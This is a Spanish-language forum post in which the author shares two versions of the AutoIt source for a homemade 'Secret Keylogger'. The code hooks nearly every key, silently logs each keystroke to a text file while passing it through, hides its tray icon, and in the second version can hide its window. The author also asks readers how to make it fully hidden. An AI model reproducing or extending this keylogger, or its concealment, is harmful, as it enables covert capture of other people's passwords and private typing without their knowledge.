Soy nuevo en el foro... Este programa se llama Secret Keylogger ( Re original XDD) Bueno... esta sin terminar, tiene todas las funciones de un keylogger pero me falta que se oculte... Por ahora ocupa una ventana como todos pero pretendo mejorarlo para q quede oculto... Esta programado x mi en autoit Nota: Quisas tengan q mover el "tema" a otro subforoUna imágen : Esta programado en AutoIt Acá les dejo el codigo para q alguien q sepa un poco de autoit lo revise y vea q se puede mejorar ... y x fa... alguien expliqueme como hago para q quede oculto XDD #NoTrayIcon #include <Process.au3> #include <GUIConstants.au3>
$file = FileOpen("slogger.txt", 1) If $file = -1 Then MsgBox(0, "Error", "El file no se pudo crear/abrir.") Exit EndIf
#Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Secret Keylogger v1.2 BY: JMG", 463, 395, 191, 121) $Button1 = GUICtrlCreateButton("Comenzar", 16, 32, 73, 33, 0) $Group1 = GUICtrlCreateGroup("Keylogger", 8, 16, 201, 89) $Button2 = GUICtrlCreateButton("Guardar Log", 96, 32, 73, 33, 0) $Button3 = GUICtrlCreateButton("Cerrar", 56, 72, 97, 17, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group2 = GUICtrlCreateGroup("Acerca de secret keylogger", 8, 112, 201, 233) $Button4 = GUICtrlCreateButton("Acerca del autor", 24, 136, 153, 49, 0) $Button5 = GUICtrlCreateButton("Acerca de secret keylogger", 24, 192, 153, 49, 0) $Label5 = GUICtrlCreateLabel("No existen comentarios tontos", 24, 248, 146, 17) $Label6 = GUICtrlCreateLabel("sino tontos que comentan", 32, 264, 126, 17) GUICtrlCreateGroup("", -99, -99, 1, 1) $MonthCal1 = GUICtrlCreateMonthCal("2009/07/12", 240, 40, 193, 177) $Label4 = GUICtrlCreateLabel("JMG ®", 280, 312, 104, 41) GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif") GUICtrlCreateGroup("", -99, -99, 1, 1) $Group4 = GUICtrlCreateGroup("Calendario", 224, 24, 225, 201) GUICtrlCreateGroup("", -99, -99, 1, 1) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ###
While (1) $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE exit Case $Button1 while(1) HotKeySet("!k", "menukey") HotKeySet(" ", "logea") HotKeySet("a", "logea") HotKeySet("b", "logea") HotKeySet("c", "logea") HotKeySet("d", "logea") HotKeySet("e", "logea") HotKeySet("f", "logea") HotKeySet("g", "logea") HotKeySet("h", "logea") HotKeySet("i", "logea") HotKeySet("j", "logea") HotKeySet("k", "logea") HotKeySet("l", "logea") HotKeySet("m", "logea") HotKeySet("n", "logea") HotKeySet("ñ", "logea") HotKeySet("o", "logea") HotKeySet("p", "logea") HotKeySet("q", "logea") HotKeySet("r", "logea") HotKeySet("s", "logea") HotKeySet("t", "logea") HotKeySet("u", "logea") HotKeySet("v", "logea") HotKeySet("w", "logea") HotKeySet("x", "logea") HotKeySet("y", "logea") HotKeySet("z", "logea") HotKeySet("A", "logea") HotKeySet("B", "logea") HotKeySet("C", "logea") HotKeySet("D", "logea") HotKeySet("E", "logea") HotKeySet("F", "logea") HotKeySet("G", "logea") HotKeySet("H", "logea") HotKeySet("I", "logea") HotKeySet("J", "logea") HotKeySet("K", "logea") HotKeySet("L", "logea") HotKeySet("M", "logea") HotKeySet("N", "logea") HotKeySet("Ñ", "logea") HotKeySet("O", "logea") HotKeySet("P", "logea") HotKeySet("Q", "logea") HotKeySet("R", "logea") HotKeySet("S", "logea") HotKeySet("T", "logea") HotKeySet("U", "logea") HotKeySet("V", "logea") HotKeySet("W", "logea") HotKeySet("X", "logea") HotKeySet("Y", "logea") HotKeySet("Z", "logea") HotKeySet("0", "logea") HotKeySet("1", "logea") HotKeySet("2", "logea") HotKeySet("3", "logea") HotKeySet("4", "logea") HotKeySet("5", "logea") HotKeySet("6", "logea") HotKeySet("7", "logea") HotKeySet("8", "logea") HotKeySet("9", "logea") hotkeyset("ª", "logea") hotkeyset("º", "logea") hotkeyset("\", "logea") hotkeyset("!", "logea") hotkeyset("|", "logea") hotkeyset("@", "logea") hotkeyset("·", "logea") hotkeyset("#", "logea") hotkeyset("$", "logea") hotkeyset("%", "logea") hotkeyset("&", "logea") hotkeyset("¬", "logea") hotkeyset("/", "logea") hotkeyset("(", "logea") hotkeyset(")", "logea") hotkeyset("=", "logea") hotkeyset("'", "logea") hotkeyset("?", "logea") hotkeyset("¡", "logea") hotkeyset("¿", "logea") hotkeyset("ç", "logea") hotkeyset("}", "logea") hotkeyset("<", "logea") hotkeyset(">", "logea") hotkeyset(",", "logea") hotkeyset(";", "logea") hotkeyset(".", "logea") hotkeyset(":", "logea") hotkeyset("-", "logea") hotkeyset("_", "logea") hotkeyset("´", "logea") hotkeyset("{", "logea") hotkeyset("¨", "logea") hotkeyset("^", "logea") hotkeyset("`", "logea") hotkeyset("[", "logea") hotkeyset("+", "logea") hotkeyset("*", "logea") hotkeyset("]", "logea") wend Case $Button2 msgbox(0,"Guardar","Para guardar persiona [alt+k]") case $Button3 processclose("AutoIt3.exe") case $Button4 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)") case $Button5 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...") Endswitch WEnd
Func logea() HotKeySet(@HotKeyPressed) FileWrite($file, @HotKeyPressed) Send(@HotKeyPressed) EndFunc
Func menukey() FileClose($file) FileClose($file) $contenido = FileRead("slogger.txt") MsgBox(0,"Keys",$contenido) $file = FileOpen("slogger.txt", 1) EndFunc No es la gran cosa pero ta... La última version de secret keylogger (v1.2)"Testeado x mi" #NoTrayIcon #include <Process.au3> #include <GUIConstants.au3>
$file = FileOpen("slogger.txt", 1) If $file = -1 Then MsgBox(0, "Error", "El file no se pudo crear/abrir.") Exit EndIf
#Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Secret keylogger V1.2", 412, 348, 189, 116) $Button1 = GUICtrlCreateButton("Comenzar", 32, 24, 129, 33, 0) $Button2 = GUICtrlCreateButton("Guardar log", 32, 112, 129, 33, 0) $Button3 = GUICtrlCreateButton("Cerrar", 32, 64, 129, 33, 0) $Button4 = GUICtrlCreateButton("Autor", 224, 32, 129, 33, 0) $Button5 = GUICtrlCreateButton("Secret Keylogger", 224, 72, 129, 33, 0) $Group1 = GUICtrlCreateGroup("Keylogger", 8, 8, 193, 209) $Ocultar = GUICtrlCreateButton("Ocultar", 24, 152, 153, 57, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group2 = GUICtrlCreateGroup("Acerca de ", 208, 16, 161, 121) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group3 = GUICtrlCreateGroup("Calendario", 208, 144, 193, 185) $MonthCal1 = GUICtrlCreateMonthCal("2009/07/23", 216, 160, 177, 161) GUICtrlCreateGroup("", -99, -99, 1, 1) $Label1 = GUICtrlCreateLabel("--JMG--", 48, 264, 111, 41) GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif") GUICtrlSetColor(-1, 0x00FF00) GUICtrlSetBkColor(-1, 0x000000) $Graphic1 = GUICtrlCreateGraphic(16, 224, 177, 113) GUICtrlSetBkColor(-1, 0x000000) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ###
While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 while(1) HotKeySet("!k", "menukey") Hotkeyset("!m", "mostrar") HotKeySet(" ", "logea") HotKeySet("a", "logea") HotKeySet("b", "logea") HotKeySet("c", "logea") HotKeySet("d", "logea") HotKeySet("e", "logea") HotKeySet("f", "logea") HotKeySet("g", "logea") HotKeySet("h", "logea") HotKeySet("i", "logea") HotKeySet("j", "logea") HotKeySet("k", "logea") HotKeySet("l", "logea") HotKeySet("m", "logea") HotKeySet("n", "logea") HotKeySet("ñ", "logea") HotKeySet("o", "logea") HotKeySet("p", "logea") HotKeySet("q", "logea") HotKeySet("r", "logea") HotKeySet("s", "logea") HotKeySet("t", "logea") HotKeySet("u", "logea") HotKeySet("v", "logea") HotKeySet("w", "logea") HotKeySet("x", "logea") HotKeySet("y", "logea") HotKeySet("z", "logea") HotKeySet("A", "logea") HotKeySet("B", "logea") HotKeySet("C", "logea") HotKeySet("D", "logea") HotKeySet("E", "logea") HotKeySet("F", "logea") HotKeySet("G", "logea") HotKeySet("H", "logea") HotKeySet("I", "logea") HotKeySet("J", "logea") HotKeySet("K", "logea") HotKeySet("L", "logea") HotKeySet("M", "logea") HotKeySet("N", "logea") HotKeySet("Ñ", "logea") HotKeySet("O", "logea") HotKeySet("P", "logea") HotKeySet("Q", "logea") HotKeySet("R", "logea") HotKeySet("S", "logea") HotKeySet("T", "logea") HotKeySet("U", "logea") HotKeySet("V", "logea") HotKeySet("W", "logea") HotKeySet("X", "logea") HotKeySet("Y", "logea") HotKeySet("Z", "logea") HotKeySet("0", "logea") HotKeySet("1", "logea") HotKeySet("2", "logea") HotKeySet("3", "logea") HotKeySet("4", "logea") HotKeySet("5", "logea") HotKeySet("6", "logea") HotKeySet("7", "logea") HotKeySet("8", "logea") HotKeySet("9", "logea") hotkeyset("ª", "logea") hotkeyset("º", "logea") hotkeyset("\", "logea") hotkeyset("!", "logea") hotkeyset("|", "logea") hotkeyset("@", "logea") hotkeyset("·", "logea") hotkeyset("#", "logea") hotkeyset("$", "logea") hotkeyset("%", "logea") hotkeyset("&", "logea") hotkeyset("¬", "logea") hotkeyset("/", "logea") hotkeyset("(", "logea") hotkeyset(")", "logea") hotkeyset("=", "logea") hotkeyset("'", "logea") hotkeyset("?", "logea") hotkeyset("¡", "logea") hotkeyset("¿", "logea") hotkeyset("ç", "logea") hotkeyset("}", "logea") hotkeyset("<", "logea") hotkeyset(">", "logea") hotkeyset(",", "logea") hotkeyset(";", "logea") hotkeyset(".", "logea") hotkeyset(":", "logea") hotkeyset("-", "logea") hotkeyset("_", "logea") hotkeyset("´", "logea") hotkeyset("{", "logea") hotkeyset("¨", "logea") hotkeyset("^", "logea") hotkeyset("`", "logea") hotkeyset("[", "logea") hotkeyset("+", "logea") hotkeyset("*", "logea") hotkeyset("]", "logea") wend Case $Button2 msgbox(0,"Guardar","Para guardar persiona [alt+k]") case $Button3 processclose("AutoIt3.exe") case $Button4 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)") case $Button5 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...") Case $Ocultar msgbox(0,"Ocultar:","Para mostrar la ventana otra vez preciona [alt+m]") guisetstate(@SW_HIDE) EndSwitch WEnd
Func logea() HotKeySet(@HotKeyPressed) FileWrite($file, @HotKeyPressed) Send(@HotKeyPressed) EndFunc
Func menukey() FileClose($file) FileClose($file) $contenido = FileRead("slogger.txt") MsgBox(0,"Keys",$contenido) $file = FileOpen("slogger.txt", 1) EndFunc
Func mostrar() guisetstate(@SW_SHOW) endfunc A ver ahora... No subo el .exe xq me lo borran Pero esta todo bien con los mod igual
|